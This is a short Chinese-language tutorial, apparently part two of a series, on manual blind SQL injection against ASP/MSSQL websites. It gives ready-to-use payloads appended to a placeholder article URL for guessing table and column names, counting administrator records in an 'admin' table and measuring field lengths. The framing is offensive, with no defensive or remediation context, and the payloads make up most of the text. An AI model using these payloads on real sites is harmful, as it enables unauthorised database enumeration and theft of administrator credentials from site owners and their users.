手工注入入门二

3。猜表、字段名、检测记录数、检测字段长度。
　　我按照工具注入的流程给大家讲!
　　A。猜表!
　　用到的语句：and exists (select count(*) from 你要猜的表名) 。在注入点后加上这句话，如果返回正常，说明你猜的表是存在的!比如
　　http://www.xxxxxxxx.com/article/as.asp?id=875 and exists (select count(*) from admin)，如果返回正常，说明admin这张表存在!如果返回错误，就说明不存在!。别的表也都是这么猜!
　　B。猜列!
　　用到的语句：and (select count(列名) from 猜到的表名)>0 。在注入点后加上这句话，如果返回正常，说明你猜的列是存在的!比如
　　http://www.xxxxxxxx.com/article/as.asp?id=875 and (select count(username) from admin)>0，如果返回正常，那username这个列就存在!不过首先要确定from后面跟的表名要是存在的哦!不然你怎么猜都是错的!
　　C。检测记录数
　　用到的语句：and (select count(*) from 猜到的表名)>X (X是个数字)。在注入点后加上这句话，并不停地变换X这个数字，直到猜到准确的记录数为止!比如http://www.xxxxxxxx.com /article/as.asp?id=875 and (select count(*) from admin)>2 ，这个句子是猜admin表里有几条记录的，也就是有几个管理员(因为一个管理员对应一条记录嘛!)。如果返回正常，说明admin这张表里的记录数大于 2。这个时候我们把2改成别的大一点的数!比如5，如果返回错误，说明管理员的个数在2和5之间，2和5之间的整数是3和4，这个时候我们变换语句为 http://www.xxxxxxxx.com/article/as.asp?id=875 and (select count(*) from admin)=3或者=4，哪个返回正常那管理员的个数就是哪个。如果提交>5还返回错误，那就再取一个更大的数，再重复刚才的动作就可以猜到记录数!
　　D。检测字段长度
　　用到的语句：and (select top 1 len(列) from 表)>X (X和刚才一样!)。我来解释一下这个句子，select top 1是查询第一条数据的意思!(在WEB环境下不支持多行回显!只是一次查询的数据不能超过一行!),len是MSSQL里的一个函数，用法是len(), ()里可以是字符串也可以是表达式也可以是列名!知道这些，大家应该可以看懂了吧!后面那个X的变换方法上面的一样!